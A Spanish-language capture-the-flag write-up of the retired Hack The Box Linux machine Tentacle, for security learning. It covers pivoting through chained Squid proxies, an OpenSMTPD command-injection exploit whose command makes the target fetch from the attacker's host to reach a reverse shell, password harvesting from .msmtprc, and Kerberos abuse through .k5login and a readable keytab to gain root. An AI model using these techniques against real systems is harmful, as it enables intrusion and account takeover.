Tentacle Write-Up

Última actualización mayo 25, 2024

Fecha de lanzamiento23 Jan 2021
EstadoRetirada
DificultadHard
PlataformaLinux
IP10.10.10.224


RECONOCIMIENTO

Para comenzar con la fase de reconocimiento y enumeración de la máquina Tentacle ( a partir de ahora denominada Máquina Víctima), vamos a lanzarla una traza ICMP y ver si tenemos respuesta para corroborar de que está correctamente iniciada y tenemos conexión directa con ella:

ping -c 1 10.10.10.224

Una vez corroborado que recibimos una respuesta por parte del sistema, vamos a proceder a enumerar puertos y servicios expuestos en la máquina víctima con la herramienta nmap.

nmap -p- --open -sS --min-rate 4000 -n -vvv -Pn -oN nmap_scan 10.10.10.224

Vemos que la herramienta nos detecta 4 puertos TCP abiertos: SSH (22), DNS (53), Kerberos (88) y Squid (3128).

A continuación vamos a crear una variable llamada «ports» donde almacenaremos el número de los puertos abiertos existentes en la máquina mediante el uso de expresiones regulares y filtrado.

ports=$(cat nmap_scan | grep -oP "^\d.*" | awk '{print $1}' FS='/' | xargs | tr ' ' ',')

De nuevo con la herramienta nmap, vamos a tratar de detectar la versión de los servicios expuestos así como de lanzar una serie de scripts básicos de enumeración que la herramienta tiene configurados por defecto.

nmap -p$ports -sCV -oN nmap_services 10.10.10.224

Observamos destacado en el pantallazo que nos están ofreciendo un dominio (realcorp.htb) y nos indican que se trata presuntamente de un sistema RH 8.

DNS 53

Como tenemos el puerto DNS TCP abierto, vamos a probar un «ataque de transferencia de zona» . Si resultase exitoso, recibiríamos una copia del DNS Database con información de dominios e IPs asociadas. En este caso probamos tanto indicando el dominio anteriormente mencionado y sin él, pero con ninguna de ellas hubo éxito.

dig axfr @10.10.10.224
dig axfr @10.10.10.224 realcorp.htb

Usando también el comando dig, vemos que si consultamos los records asociados al dominio realcorp.htb nos devuelve un SOA que incluye root.realcorp.htb. Vamos a añadir ambos dominios a nuestro archivo /etc/hosts.

A continuación, vamos a hacer uso de la herramienta dnsenum para tratar de efectuar un ataque de fuerza bruta para el descubrimiento de nuevos subdominios a través del protocolo DNS.

dnsenum --dnsserver 10.10.10.224 --threads 50 -f /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -o bruteforce_dns realcorp.htb

Vemos que hemos descubierto dos nuevas IPs, que no están en la misma subred que la máquina víctima. Vamos a guardarnos esta información en un archivo para utilizarla más adelante, ya que actualmente no tenemos conectividad con estas IPs, por lo que no podemos corroborar que estén activas.

SQUID 3128

Squid es un servidor proxy para web con caché. Vamos a tratar de lanzar una petición a la IP de la máquina víctima (donde se aloja el servidor proxy) pasando por ese proxy para ver que nos devuelve el output.

curl -s --proxy 10.10.10.224:3128 http://10.10.10.224 > squid.html

Para visualizar la respuesta, tenemos que servir por el puerto 80 mediante python el archivo y consultarlo desde el navegador en http://localhost.

python3 -m http.server 80

Obtenemos un error de autenticación. Parece que no podemos hacer una petición a través del proxy sin habernos autenticado anteriormente. Aún así obtenemos información valiosa de la respuesta, como un usuario cuyo rol es el de «Cache Administrator» llamado j.nakazawa y un subdominio de realcorp.htb. Nos guardamos esta información por si nos es útil en un futuro.

Por otro lado si realizamos la misma petición a través del proxy, pero en vez de la IP del servidor víctima lanzamos la petición a 127.0.0.1, observamos que el error que recibimos es diferente.

curl -s --proxy 10.10.10.224:3128 http://127.0.0.1 > squid.html

Esta vez, en lugar de darnos un error de autenticación nos está respondiendo que la conexión es fallida. Esto podría implicar que para localhost no es necesario autenticación.

EXPLOTACIÓN

Vamos a tratar de enumerar puertos alternativos que puedan estar abiertos con la herramienta nmap, pero esta vez pasando por el Squid Proxy. Para ello usaremos la herramienta ProxyChains para configurar el proxy y que todas nuestras peticiones viajen a través de él. Para ello vamos a modificar el archivo de configuración de ProxyChains (/etc/proxychains.conf) y vamos a añadir al final la dirección IP y el puerto correspondiente. Es importante fijarnos que tenemos seleccionada la opción de «Strict Chain».

proxychains nmap -sT -Pn -v -n 127.0.0.1 -oN nmap_internal_tentacle

Vemos que no solo es posible enumerar, sino que además obtenemos unos resultados diferentes al primer escaneo que realizamos, descubriendo dos puertos más internos donde hay servicios activos corriendo.

Trataremos entonces de a través de este Squid Proxy tratar de alcanzar las IPs que anteriormente habíamos descubierto por fuerza bruta usando la herramienta dnsenum.

  • 10.197.243.77 (proxy.realcorp.htb)
  • 19.197.243.31 (wpad.realcorp.htb)
proxychains nmap -sT -Pn -v -n --top-ports 100 10.197.243.77
proxychains nmap -sT -Pn -v -n --top-ports 100 10.197.243.31

Ambos resultado parecen fallidos ya que no nos reporta ningún puerto abierto, por lo que asumiremos que no tenemos conectividad con ambas máquinas de esta manera.

Volviendo a la diferente respuesta que daba el servidor al tramitar una petición a través del proxy, vamos a intentar aprovecharnos de ello. Para ello, vamos a configurar un nuevo proxy en ProxyChains, y haremos que la petición pase primero por 10.10.10.224 y luego pase por 127.0.0.1 por el puerto 3128.

Haciendo esto pasaríamos por último por la interfaz interna del SquidProxy, pudiendo llegar a ver resultados diferentes y lograr conexión con máquinas internas.

proxychains nmap -sT -Pn -v -n --top-ports 100 10.197.243.77 -oN nmap_scan_internalproxy
proxychains nmap -sT -Pn -v -n --top-ports 100 10.197.243.31 -oN nmap_scan_wpad

Observamos que pasando por la interfaz interna del SquidProxy de la IP 10.10.10.224, tenemos conectividad con la IP 10.197.243.77, pero sin embargo para la otra IP descubierta, 10.197.243.31, no obtenemos ningún resultado con nmap, sugiriendo que posiblemente no tengamos alcance directo a esa IP con la configuración de proxy actual que tenemos.

Los puertos que nos reporta abiertos la primera IP del rango 10.197.243.0/24 (suponiendo esa mascara de subred) se asemejan mucho a los puertos que estaban abiertos en la IP principal, y vemos también que parece que tiene otro SquidProxy expuesto.

Si volvemos a la anterior imagen de las relaciones de IPs y Hostnames, observamos que la IP a la que ahora si tenemos alcance estaba asociada a proxy.realcorp.htb y ns.realcorp.htb.

Suponiendo que esta nueva IP a la que tenemos conectividad actúa también como proxy de esa subred, lo que probaremos a continuación es tratar de que nuestra conexión pase a través de este nuevo SquidProxy y ver si tenemos alcance con la segunda IP 10.197.243.31. Para ello volveremos a retocar nuestro archivo /etc/proxychains.conf y añadiremos la IP y el puerto del SquidProxy.

proxychains nmap -sT -Pn -v -n --top-ports 100 -oN nmap_scan_wpad 10.197.243.31

De nuevo, puerto 3128 abierto, pero no tenemos más IPs disponibles a las que acceder. Si nos fijamos en el reporte, vemos que el puerto 80 está abierto.

Antes de realizar un reconocimiento sobre ese puerto e investigar posibles vías para seguir con la intrusión, vamos a hacer un stop para explicar como hemos llegado hasta aquí de manera resumida y mediante un diagrama:

En resumen, nos hemos aprovechado del primer SquidProxy para lograr conectividad con una máquina situada fuera del alcance de nuestra subred, y hemos usado el SquidProxy de esa máquina para poder alcanzar el puerto 80 de otra máquina que esta vez si que se encuentra en la misma subred.

Volviendo a la intrusión, vamos a mandar una petición web al puerto 80 de la última máquina con IP 10.197.243.31. Evidentemente, usaremos la ultima configuración de nuestro ProxyChains:

proxychains curl -s http://10.197.243.31

Tenemos una página por defecto de Nginx. Si probamos usando el nombre de dominio asociado a la IP (añadiéndola primero a nuestro archivo local /etc/hosts), vemos que la respuesta es diferente y nos devuelve un código de estado Forbidden 403.

Antes de ponernos a hacer Fuzzing en la web, vamos a buscar información acerca de WPAD. Vamos a ver de que se trata y si hay algo de lo que nos podamos aprovechar:

El Web Proxy Autodiscovery Protocol (WPAD) (en inglés Protocolo de autodescubrimiento de Proxy Web) es un método utilizado por clientes para encontrar la URL de un archivo de configuración utilizando métodos de descubrimiento de DHCP y/o DNS. Una vez que la detección y descarga del archivo de configuración se ha completado, puede ser ejecutado para determinar el proxy para un URL especificado.

https://es.wikipedia.org/wiki/Web_Proxy_Autodiscovery_Protocol

Si consultamos la web de Hacktricks para buscar información acerca de este protocolo, vemos que muchos navegadores usan WPAD para cargar configuraciones de proxy desde la red. Al parecer, un WPAD Server provee configuraciones de proxy a través de URLs sirviendo un archivo de configuración concreto. Tanto en esta página como en otros resultados de internet, el nombre del archivo común por defecto que nos aparece es wpad.dat. Vamos entonces a mandar una petición web a esa URL en concreto, que sería http://wpad.realcorp.htb/wpad.dat

proxychains curl -s http://wpad.realcorp.htb/wpad.dat

Apareció un segmento de red nuevo (10.241.251.0/24) que desconocíamos antes. Ahora las preguntas son… ¿Tendremos conectividad con la configuración actual de ProxyChains?,¿Tendremos que usar el SquidProxy de la IP 10.197.243.31?,¿Tendremos que volver a una configuración anterior de ProxyChains para lograr conectividad?…

Mediante Proxychains no tenemos la opción disponible de realizar descubrimiento de hosts activos mediante la herramienta ping, así que nos vamos a usar la herramienta nmap para ello con unos parámetros predefinidos:

nmap -sL --dns-servers 10.10.10.224 10.197.241.77 10.197.241.31 10.241.251.0/24 | grep -F "realcorp"
  • -sL : El sondeo de lista es un tipo de descubrimiento de sistemas que tan solo lista cada equipo de la/s red/es especificada/s, sin enviar paquetes de ningún tipo a los objetivos. Por omisión, Nmap va a realizar una resolución inversa DNS en los equipos, para obtener sus nombres.
  • --dns-servers <server1>[,<server2>[,...]] : Por omisión, Nmap determina tus servidores DNS (para la resolución rDNS) a partir de su fichero resolv.conf (Unix) o del Registro (Win32). Alternativamente, puedes utilizar esta opción para especificar servidores alternativos. De esta forma aquí estaríamos especificando todas las IPs que conocemos para que actúen como DNS y ver si alguna puede descubrirnos algún nombre de host para saber que está activo.

Ya tenemos una dirección IP de un host a la que fijar el scope -> 10.241.251.113 (srvpod01.realcorp.htb).

A continuación, lo siguiente sería saber que servicios están expuestos en esa IP y sus versiones correspondientes. Para ello evidentemente deberemos de usar de nuevo ProxyChains para llegar a alcanzar la IP, aunque no sabemos que archivo de configuración usar de todos los que hemos usado. Por empezar por lo fácil, vamos a probar con el archivo que actualmente tenemos, pasando por todos los SquidProxy que la vez anterior que usamos la herramienta:

proxychains nmap -sT -Pn -v -n --top-ports 100 10.241.251.113 -oN nmap_scan_113
proxychains nmap -sT -Pn -v -n -sCV -p25 100 10.241.251.113 -oN nmap_scan_113_smtp        

Tenemos el puerto 25 SMTP Abierto, usando la versión 2.0.0 de OpenSMTPD. Vamos a buscar por internet cual es la última versión disponible de este software:

¿Un poquito desactualizada no os parece?

Si buscamos mediante la herramienta searchsploit, vemos que hay un script público escrito en Python que se aprovecha de una vulnerabilidad en versiones anteriores a la 6.6.1:

Vamos a traernos ese script a nuestro directorio de trabajo y vamos a correrlo. Como prueba de funcionamiento, en lugar de correr directamente un comando que nos entable una shell dentro del sistema, vamos a exponer nuestro puerto 80 y vamos a hacer que la máquina víctima haga una petición para ver si la recibimos:

python3 -m http.server 80
python3 smtpexploit.py 10.241.251.113 25 'wget 10.10.14.32'

Tenemos el primer error. Este es bastante obvio, ¿como va a entablar una conexión con el host que estamos indicando si no estamos usando ProxyChains…?

proxychains python3 smtpexploit.py 10.241.251.113 25 'wget 10.10.14.32'

Segundo error. No recibimos ninguna petición a nuestro equipo. Aquí vamos a tener que meternos a inspeccionar el código en Python3 para ver que es lo que está pasando.

Vemos que básicamente lo que está haciendo es aprovecharse de la no sanitización de MAIL FROM para inyectar código. También vemos que el RCPT TO está puesto root por defecto. Como tenemos, de los primeros pasos que hicimos en la máquina, el nombre de un posible usuario, «j.nakazawa@realcorp.htb«, vamos a sustituir root por este usuario:

Ahora si que recibimos en nuestro servidor una petición, de la IP 10.10.10.224 y no directamente de 10.241.251.113 (posiblemente se estén usando contenedores).

A partir de aquí la intrusión es sencilla. Tenemos ejecución remota de comandos en el servidor víctima. Al realizar una petición a nuestro servidor, por defecto lo que quiere cargar es un index.html. Vamos a crear un archivo index.html malicioso y servirlo en nuestro servidor para lograr entablarnos una Reverse Shell.

Vamos a hacer que el servidor víctima guarde nuestro archivo Index.html en una ruta del sistema en la primera ejecución del script, y en la segunda vamos a hacer que lo ejecute, poniéndonos antes en escucha por el puerto 443:

Ya tenemos una terminal dentro del servidor, y encima somo ROOT!. Calma, mirad la IP. Estamos en un contenedor, efectivamente. Hay que salir de aquí para poder llegar a la IP 10.10.10.224. Vamos a hacer una enumeración del contenedor a ver que encontramos.

Echando un vistazo a los archivos del usuario j.nakazawa, vemos un archivo no muy común. Por lo menos yo nunca suelo encontrarme por defecto este archivo en el directorio Home de los usuarios. Vamos para Internet.

Básicamente se trata de un cliente SMTP, y el archivo .msmtprc es el archivo de configuración de este cliente. Mirando por internet, en este tipo de archivos parece que se indican numerosos datos, entre ellos en ocasiones contraseñas

Efectivamente, si visualizamos el contenido de este archivo de configuración podemos observar una contraseña para el usuario.

Antes de probar esta contraseña para conectarnos por SSH como el usuario al host 10.10.10.224, vamos a reeditar el diagrama creado anteriormente para volver a ver todos los pasos que hemos realizado y ver por todos los proxies que hemos pasado:

Lo dicho, vamos a intentar usar esta contraseña para acceder como el usuario j.nakazawa mediante el protocolo SSH:

Vemos que no es posible lograr una autenticación exitosa, pero si nos fijamos en el mensaje que nos devuelve, nos están indicando que gssapi está disponible para la autenticación.

GSSAPI (Generic Security Services Application Program Interface) es una interfaz de programación que proporciona servicios de seguridad genéricos para las aplicaciones. En el contexto de SSH, GSSAPI Authentication se refiere a la autenticación utilizando GSSAPI.
GSSAPI permite la autenticación basada en tokens de seguridad, como los proporcionados por Kerberos. En lugar de depender de la autenticación mediante contraseña, GSSAPI permite que las aplicaciones se autentiquen de manera segura utilizando mecanismos de seguridad estándar.
En SSH, esto significa que puedes utilizar GSSAPI para la autenticación en lugar de las claves tradicionales o contraseñas. Esto puede ser útil en entornos donde ya se utiliza Kerberos u otros sistemas de autenticación basados en tokens.
En resumen, GSSAPI Authentication en SSH aprovecha la infraestructura de seguridad proporcionada por GSSAPI para autenticar de manera segura las conexiones SSH.

chatgpt

Si recordamos los puertos que de forma inicial tenía abiertos la máquina víctima, vimos que a pesar de que está corriendo Linux por debajo, Kerberos estaba expuesto en el puerto 88. Esto es algo inusual en máquinas Linux de Hack The Box, por lo que parece que la intrusión va a ir por aquí.

Vamos a tratar de obtener un ticket para el usuario j.nakazawa y usarlo para entablar la conexión por SSH con la máquina víctima.

Para ello es necesario descargar e instalar el paquete krb5-user.

sudo apt install krb5-user

Al aparecernos el panel de configuración, introducimos el nombre de dominio y la IP. Una vez terminada la instalación, vamos a tener que modificar el archivo de configuración ya que por defecto nos ha creado un archivo de configuración que para este caso en concreto no aplica. Crearemos un archivo de configuración mucho más cortito y conciso, siguiendo la siguiente estructura:

A continuación vamos a correr el comando knit para crear un ticket para el usuario. Es importante recalcar aquí que es importante tener correctamente configurado nuestro archivo /etc/hosts para que este paso y la posterior autenticación no nos falle . Yo tenia una linea creada de la siguiente manera:

kinit j.nakazawa

Introducimos la contraseña obtenida en pasos anteriores y si corremos ahora el comando klist vemos que tenemos ya un ticket de autenticación para el usuario.

De nuevo intentamos acceder por SSH a la máquina víctima, y en este caso si que hemos podido autenticarnos como el usuario, pudiendo obtener ya la flag del usuario.

ESCALADA DE PRIVILEGIOS

Si observamos las tareas programadas del sistema (cat /etc/crontab), podemos ver que el usuario admin está corriendo un script en bash cada minuto. Para ese script, nuestro usuario tiene permisos de lectura y si le echamos un ojo vemos que básicamente lo que está haciendo es mediante el uso de rsync, todo lo que está en el directorio /var/log/squid copiarlo al directorio home del usuario admin y crear un comprimido alli con esos logs.

Viendo los permisos del directorio /var/log/squid, nuestro usuario que pertenece al grupo «Squid» tiene permisos de escritura en el directorio.

En resumen, todo lo que creemos dentro de ese directorio va a ser copiado al directorio home del usuario admin.

Aquí es donde entra el juego el archivo .k5login.

El archivo .k5login es un archivo que reside en el directorio home de un usuario y que contiene una lista de Kerberos Principals. Cualquier usuario con un ticket valido para alguno de los Principals del archivo obtiene acceso y autenticación con el UID del usuario en cuyo directorio home reside el archivo. Nosotros tenemos un ticket de Kerberos válido para el usuario j.nakazawa. Por lo tanto vamos a crear un archivo .k5login dentro de la ruta /var/log/squid donde indicaremos el Kerberos Principal perteneciente a j.nakazawa y cuando se ejecute la tarea programada vamos a tener acceso como el usuario admin.

Enumerando archivos para los que actualmente tenga a admin como owner o grupo, observamos un archivo de kerberos, /etc/krb5.keytab.

Todas los servidores de Kerberos necesitan un archivo keytab, llamado /etc/krb5.keytab, para autenticarse en el KDC. El archivo keytab es una copia encriptada, local y en disco del key del host. El archivo keytab es un posible punto de entrada para intrusiones, y si se ve comprometido, permitiría acceso no restringido al host. El archivo keytab debería ser legible solo por el usuario root y debería existir únicamente en el disco local de la máquina.

Este archivo unicamente debería ser legible por el usuario root, pero en este caso somos el usuario admin y tenemos permisos de lectura:

Vamos a aprovecharnos de esto para crear un nuevo principal llamado ROOT, vamos a definir una contraseña y nos autenticaremos via Kerberos como usuario de máximos privilegios.

El archivo en sí no es legible, es un binario, pero podemos usar el comando klist -k para listar los Kerberos Principals del archivo:

klist -k /etc/krb5.keytab

Por defecto, el archivo krb5.keytab solo tendría el principal del host. Pero aquí se ha agregado otro principal, kadmin, con privilegios de administrador y changepw. Esto significa que cualquier persona que pueda leer este archivo puede actuar como kadmin, y ese usuario puede ejecutar el binario kadmin que le permite administrar el dominio Kerberos. Vamos a ejecutarlo:

kadmin -kt /etc/krb5.keytab -p kadmin/admin@REALCORP.HTB

Desde este prompt, nosotros ya podemos listar los Kerberos Principals del dominio, pero la idea es añadir aquí como Kerberos Principal a ROOT:

Por ultimo, una vez seleccionada una contraseña para el usuario ROOT y creado el Kerberos Principal, vamos a autenticarnos mediante Kerberos como ese usuario mediante el comando ksu:

Ya tenemos acceso con máximos priivilegios dentro de la máquina víctima y podemos acceder a la flag.

Jorge Escrito por: